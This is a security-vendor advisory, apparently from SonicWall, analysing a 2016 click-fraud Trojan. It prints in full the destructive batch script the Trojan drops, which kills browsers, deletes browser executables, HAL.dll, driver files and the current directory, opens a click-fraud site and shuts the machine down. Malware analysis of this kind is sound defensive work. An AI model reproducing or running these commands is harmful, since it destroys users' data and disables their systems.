Click-fraud Trojan deletes files and impairs systems (April 29th, 2016)

The Dell Sonicwall Threats Research team have discovered a Click-fraud Trojan that also deletes files and attempts to disable parts of the operating system. It appears to be poorly written and did not succeed in its intention to disable the mouse and keyboard on our test system. It is however, able to delete files, kill explorer.exe and shutdown the system.

Infection Cycle:

The Trojan drops the following file and runs it:

• %USERPROFILE%Local SettingsTemp2.tmpVirusok.bat

Virusok.bat is a Windows batch script:

The script contains the following instructions:

@shift /0
@echo off
taskkill /im /f chrome.exe
taskkill /im /f ie.exe
taskkill /im /f firefox.exe
taskkill /im /f opera.exe
taskkill /im /f safari.exe
del C:Program FilesGoogleChromeAppulcationchrome.exe /q
del C:Program FilesSafarisafari.exe /q
del C:Program FilesMozilla Firefoxfirefox.exe /q
del C:Program FilesOperaopera.exe /q
del C:Program FilesInternet Explorerie.exe /q
start www.400kg.com
rundll32 mouse,disable > nul
rundll32 keyboard,disable > nul
rundll32 user,disableoemlayer > nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoulciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f > nul
taskkill /f /im explorer.exe > nul
del: *.*/q > nul
del %WinDir%system32HAL.dll/q > nul
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul
del "%SystemRoot%Cursors*.*" >nul
shutdown -s -t 00 -c error > nul
del %0

In addition to deleting driver.cab and hal.dll it deletes all files in the current directory that it is being run from as instructed in the batch script above:

del: *.*/q > nul

The Trojan causes the following DOS window to be displayed on the screen:

As instructed in the batch script it opens Internet Explorer in order to display www.400kg.com as part of its Click-fraud operation:

SonicWALL Gateway AntiVirus provides protection against this threat via the following signature:

GAV: Reconyc.A_4 (Trojan)

Security News

The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.